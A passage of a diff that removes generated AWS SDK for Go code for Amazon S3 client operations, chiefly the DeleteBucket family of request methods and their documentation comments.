req.Send() -} - -// CreateMultipartUploadWithContext is the same as CreateMultipartUpload with the addition of -// the ability to pass a context and additional request options. -// -// See CreateMultipartUpload for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) CreateMultipartUploadWithContext(ctx aws.Context, input *CreateMultipartUploadInput, opts ...request.Option) (*CreateMultipartUploadOutput, error) { - req, out := c.CreateMultipartUploadRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucket = "DeleteBucket" - -// DeleteBucketRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucket operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucket for more information on using the DeleteBucket -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketRequest method. -// req, resp := client.DeleteBucketRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucket -func (c *S3) DeleteBucketRequest(input *DeleteBucketInput) (req *request.Request, output *DeleteBucketOutput) { - op := &request.Operation{ - Name: opDeleteBucket, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}", - } - - if input == nil { - input = &DeleteBucketInput{} - } - - output = &DeleteBucketOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucket API operation for Amazon Simple Storage Service. -// -// Deletes the bucket. All objects (including all object versions and Delete -// Markers) in the bucket must be deleted before the bucket itself can be deleted. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucket for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucket -func (c *S3) DeleteBucket(input *DeleteBucketInput) (*DeleteBucketOutput, error) { - req, out := c.DeleteBucketRequest(input) - return out, req.Send() -} - -// DeleteBucketWithContext is the same as DeleteBucket with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucket for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketWithContext(ctx aws.Context, input *DeleteBucketInput, opts ...request.Option) (*DeleteBucketOutput, error) { - req, out := c.DeleteBucketRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketAnalyticsConfiguration = "DeleteBucketAnalyticsConfiguration" - -// DeleteBucketAnalyticsConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketAnalyticsConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketAnalyticsConfiguration for more information on using the DeleteBucketAnalyticsConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketAnalyticsConfigurationRequest method. -// req, resp := client.DeleteBucketAnalyticsConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketAnalyticsConfiguration -func (c *S3) DeleteBucketAnalyticsConfigurationRequest(input *DeleteBucketAnalyticsConfigurationInput) (req *request.Request, output *DeleteBucketAnalyticsConfigurationOutput) { - op := &request.Operation{ - Name: opDeleteBucketAnalyticsConfiguration, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?analytics", - } - - if input == nil { - input = &DeleteBucketAnalyticsConfigurationInput{} - } - - output = &DeleteBucketAnalyticsConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketAnalyticsConfiguration API operation for Amazon Simple Storage Service. -// -// Deletes an analytics configuration for the bucket (specified by the analytics -// configuration ID). -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketAnalyticsConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketAnalyticsConfiguration -func (c *S3) DeleteBucketAnalyticsConfiguration(input *DeleteBucketAnalyticsConfigurationInput) (*DeleteBucketAnalyticsConfigurationOutput, error) { - req, out := c.DeleteBucketAnalyticsConfigurationRequest(input) - return out, req.Send() -} - -// DeleteBucketAnalyticsConfigurationWithContext is the same as DeleteBucketAnalyticsConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketAnalyticsConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketAnalyticsConfigurationWithContext(ctx aws.Context, input *DeleteBucketAnalyticsConfigurationInput, opts ...request.Option) (*DeleteBucketAnalyticsConfigurationOutput, error) { - req, out := c.DeleteBucketAnalyticsConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketCors = "DeleteBucketCors" - -// DeleteBucketCorsRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketCors operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketCors for more information on using the DeleteBucketCors -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketCorsRequest method. -// req, resp := client.DeleteBucketCorsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketCors -func (c *S3) DeleteBucketCorsRequest(input *DeleteBucketCorsInput) (req *request.Request, output *DeleteBucketCorsOutput) { - op := &request.Operation{ - Name: opDeleteBucketCors, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?cors", - } - - if input == nil { - input = &DeleteBucketCorsInput{} - } - - output = &DeleteBucketCorsOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketCors API operation for Amazon Simple Storage Service. -// -// Deletes the CORS configuration information set for the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketCors for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketCors -func (c *S3) DeleteBucketCors(input *DeleteBucketCorsInput) (*DeleteBucketCorsOutput, error) { - req, out := c.DeleteBucketCorsRequest(input) - return out, req.Send() -} - -// DeleteBucketCorsWithContext is the same as DeleteBucketCors with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketCors for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketCorsWithContext(ctx aws.Context, input *DeleteBucketCorsInput, opts ...request.Option) (*DeleteBucketCorsOutput, error) { - req, out := c.DeleteBucketCorsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketEncryption = "DeleteBucketEncryption" - -// DeleteBucketEncryptionRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketEncryption operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketEncryption for more information on using the DeleteBucketEncryption -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketEncryptionRequest method. -// req, resp := client.DeleteBucketEncryptionRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketEncryption -func (c *S3) DeleteBucketEncryptionRequest(input *DeleteBucketEncryptionInput) (req *request.Request, output *DeleteBucketEncryptionOutput) { - op := &request.Operation{ - Name: opDeleteBucketEncryption, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?encryption", - } - - if input == nil { - input = &DeleteBucketEncryptionInput{} - } - - output = &DeleteBucketEncryptionOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketEncryption API operation for Amazon Simple Storage Service. -// -// Deletes the server-side encryption configuration from the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketEncryption for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketEncryption -func (c *S3) DeleteBucketEncryption(input *DeleteBucketEncryptionInput) (*DeleteBucketEncryptionOutput, error) { - req, out := c.DeleteBucketEncryptionRequest(input) - return out, req.Send() -} - -// DeleteBucketEncryptionWithContext is the same as DeleteBucketEncryption with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketEncryption for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketEncryptionWithContext(ctx aws.Context, input *DeleteBucketEncryptionInput, opts ...request.Option) (*DeleteBucketEncryptionOutput, error) { - req, out := c.DeleteBucketEncryptionRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketInventoryConfiguration = "DeleteBucketInventoryConfiguration" - -// DeleteBucketInventoryConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketInventoryConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketInventoryConfiguration for more information on using the DeleteBucketInventoryConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketInventoryConfigurationRequest method. -// req, resp := client.DeleteBucketInventoryConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketInventoryConfiguration -func (c *S3) DeleteBucketInventoryConfigurationRequest(input *DeleteBucketInventoryConfigurationInput) (req *request.Request, output *DeleteBucketInventoryConfigurationOutput) { - op := &request.Operation{ - Name: opDeleteBucketInventoryConfiguration, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?inventory", - } - - if input == nil { - input = &DeleteBucketInventoryConfigurationInput{} - } - - output = &DeleteBucketInventoryConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketInventoryConfiguration API operation for Amazon Simple Storage Service. -// -// Deletes an inventory configuration (identified by the inventory ID) from -// the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketInventoryConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketInventoryConfiguration -func (c *S3) DeleteBucketInventoryConfiguration(input *DeleteBucketInventoryConfigurationInput) (*DeleteBucketInventoryConfigurationOutput, error) { - req, out := c.DeleteBucketInventoryConfigurationRequest(input) - return out, req.Send() -} - -// DeleteBucketInventoryConfigurationWithContext is the same as DeleteBucketInventoryConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketInventoryConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketInventoryConfigurationWithContext(ctx aws.Context, input *DeleteBucketInventoryConfigurationInput, opts ...request.Option) (*DeleteBucketInventoryConfigurationOutput, error) { - req, out := c.DeleteBucketInventoryConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketLifecycle = "DeleteBucketLifecycle" - -// DeleteBucketLifecycleRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketLifecycle operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketLifecycle for more information on using the DeleteBucketLifecycle -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketLifecycleRequest method. -// req, resp := client.DeleteBucketLifecycleRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketLifecycle -func (c *S3) DeleteBucketLifecycleRequest(input *DeleteBucketLifecycleInput) (req *request.Request, output *DeleteBucketLifecycleOutput) { - op := &request.Operation{ - Name: opDeleteBucketLifecycle, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?lifecycle", - } - - if input == nil { - input = &DeleteBucketLifecycleInput{} - } - - output = &DeleteBucketLifecycleOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketLifecycle API operation for Amazon Simple Storage Service. -// -// Deletes the lifecycle configuration from the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketLifecycle for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketLifecycle -func (c *S3) DeleteBucketLifecycle(input *DeleteBucketLifecycleInput) (*DeleteBucketLifecycleOutput, error) { - req, out := c.DeleteBucketLifecycleRequest(input) - return out, req.Send() -} - -// DeleteBucketLifecycleWithContext is the same as DeleteBucketLifecycle with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketLifecycle for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketLifecycleWithContext(ctx aws.Context, input *DeleteBucketLifecycleInput, opts ...request.Option) (*DeleteBucketLifecycleOutput, error) { - req, out := c.DeleteBucketLifecycleRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketMetricsConfiguration = "DeleteBucketMetricsConfiguration" - -// DeleteBucketMetricsConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketMetricsConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketMetricsConfiguration for more information on using the DeleteBucketMetricsConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketMetricsConfigurationRequest method. -// req, resp := client.DeleteBucketMetricsConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketMetricsConfiguration -func (c *S3) DeleteBucketMetricsConfigurationRequest(input *DeleteBucketMetricsConfigurationInput) (req *request.Request, output *DeleteBucketMetricsConfigurationOutput) { - op := &request.Operation{ - Name: opDeleteBucketMetricsConfiguration, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?metrics", - } - - if input == nil { - input = &DeleteBucketMetricsConfigurationInput{} - } - - output = &DeleteBucketMetricsConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketMetricsConfiguration API operation for Amazon Simple Storage Service. -// -// Deletes a metrics configuration (specified by the metrics configuration ID) -// from the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketMetricsConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketMetricsConfiguration -func (c *S3) DeleteBucketMetricsConfiguration(input *DeleteBucketMetricsConfigurationInput) (*DeleteBucketMetricsConfigurationOutput, error) { - req, out := c.DeleteBucketMetricsConfigurationRequest(input) - return out, req.Send() -} - -// DeleteBucketMetricsConfigurationWithContext is the same as DeleteBucketMetricsConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketMetricsConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketMetricsConfigurationWithContext(ctx aws.Context, input *DeleteBucketMetricsConfigurationInput, opts ...request.Option) (*DeleteBucketMetricsConfigurationOutput, error) { - req, out := c.DeleteBucketMetricsConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketPolicy = "DeleteBucketPolicy" - -// DeleteBucketPolicyRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketPolicy operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketPolicy for more information on using the DeleteBucketPolicy -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketPolicyRequest method. -// req, resp := client.DeleteBucketPolicyRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketPolicy -func (c *S3) DeleteBucketPolicyRequest(input *DeleteBucketPolicyInput) (req *request.Request, output *DeleteBucketPolicyOutput) { - op := &request.Operation{ - Name: opDeleteBucketPolicy, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?policy", - } - - if input == nil { - input = &DeleteBucketPolicyInput{} - } - - output = &DeleteBucketPolicyOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketPolicy API operation for Amazon Simple Storage Service. -// -// Deletes the policy from the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketPolicy for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketPolicy -func (c *S3) DeleteBucketPolicy(input *DeleteBucketPolicyInput) (*DeleteBucketPolicyOutput, error) { - req, out := c.DeleteBucketPolicyRequest(input) - return out, req.Send() -} - -// DeleteBucketPolicyWithContext is the same as DeleteBucketPolicy with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketPolicy for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketPolicyWithContext(ctx aws.Context, input *DeleteBucketPolicyInput, opts ...request.Option) (*DeleteBucketPolicyOutput, error) { - req, out := c.DeleteBucketPolicyRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketReplication = "DeleteBucketReplication" - -// DeleteBucketReplicationRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketReplication operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketReplication for more information on using the DeleteBucketReplication -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketReplicationRequest method. -// req, resp := client.DeleteBucketReplicationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketReplication -func (c *S3) DeleteBucketReplicationRequest(input *DeleteBucketReplicationInput) (req *request.Request, output *DeleteBucketReplicationOutput) { - op := &request.Operation{ - Name: opDeleteBucketReplication, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?replication", - } - - if input == nil { - input = &DeleteBucketReplicationInput{} - } - - output = &DeleteBucketReplicationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketReplication API operation for Amazon Simple Storage Service. -// -// Deletes the replication configuration from the bucket. For information about -// replication configuration, see Cross-Region Replication (CRR) ( https://docs.aws.amazon.com/AmazonS3/latest/dev/crr.html) -// in the Amazon S3 Developer Guide. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketReplication for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketReplication -func (c *S3) DeleteBucketReplication(input *DeleteBucketReplicationInput) (*DeleteBucketReplicationOutput, error) { - req, out := c.DeleteBucketReplicationRequest(input) - return out, req.Send() -} - -// DeleteBucketReplicationWithContext is the same as DeleteBucketReplication with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketReplication for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketReplicationWithContext(ctx aws.Context, input *DeleteBucketReplicationInput, opts ...request.Option) (*DeleteBucketReplicationOutput, error) { - req, out := c.DeleteBucketReplicationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketTagging = "DeleteBucketTagging" - -// DeleteBucketTaggingRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketTagging operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketTagging for more information on using the DeleteBucketTagging -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketTaggingRequest method. -// req, resp := client.DeleteBucketTaggingRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketTagging -func (c *S3) DeleteBucketTaggingRequest(input *DeleteBucketTaggingInput) (req *request.Request, output *DeleteBucketTaggingOutput) { - op := &request.Operation{ - Name: opDeleteBucketTagging, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?tagging", - } - - if input == nil { - input = &DeleteBucketTaggingInput{} - } - - output = &DeleteBucketTaggingOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketTagging API operation for Amazon Simple Storage Service. -// -// Deletes the tags from the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketTagging for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketTagging -func (c *S3) DeleteBucketTagging(input *DeleteBucketTaggingInput) (*DeleteBucketTaggingOutput, error) { - req, out := c.DeleteBucketTaggingRequest(input) - return out, req.Send() -} - -// DeleteBucketTaggingWithContext is the same as DeleteBucketTagging with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketTagging for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketTaggingWithContext(ctx aws.Context, input *DeleteBucketTaggingInput, opts ...request.Option) (*DeleteBucketTaggingOutput, error) { - req, out := c.DeleteBucketTaggingRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteBucketWebsite = "DeleteBucketWebsite" - -// DeleteBucketWebsiteRequest generates a "aws/request.Request" representing the -// client's request for the DeleteBucketWebsite operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteBucketWebsite for more information on using the DeleteBucketWebsite -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the DeleteBucketWebsiteRequest method. -// req, resp := client.DeleteBucketWebsiteRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketWebsite -func (c *S3) DeleteBucketWebsiteRequest(input *DeleteBucketWebsiteInput) (req *request.Request, output *DeleteBucketWebsiteOutput) { - op := &request.Operation{ - Name: opDeleteBucketWebsite, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}?website", - } - - if input == nil { - input = &DeleteBucketWebsiteInput{} - } - - output = &DeleteBucketWebsiteOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// DeleteBucketWebsite API operation for Amazon Simple Storage Service. -// -// This operation removes the website configuration from the bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation DeleteBucketWebsite for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/DeleteBucketWebsite -func (c *S3) DeleteBucketWebsite(input *DeleteBucketWebsiteInput) (*DeleteBucketWebsiteOutput, error) { - req, out := c.DeleteBucketWebsiteRequest(input) - return out, req.Send() -} - -// DeleteBucketWebsiteWithContext is the same as DeleteBucketWebsite with the addition of -// the ability to pass a context and additional request options. -// -// See DeleteBucketWebsite for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) DeleteBucketWebsiteWithContext(ctx aws.Context, input *DeleteBucketWebsiteInput, opts ...request.Option) (*DeleteBucketWebsiteOutput, error) { - req, out := c.DeleteBucketWebsiteRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opDeleteObject = "DeleteObject" - -// DeleteObjectRequest generates a "aws/request.Request" representing the -// client's request for the DeleteObject operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See DeleteObject for more information on using the DeleteObject -// API call, and error 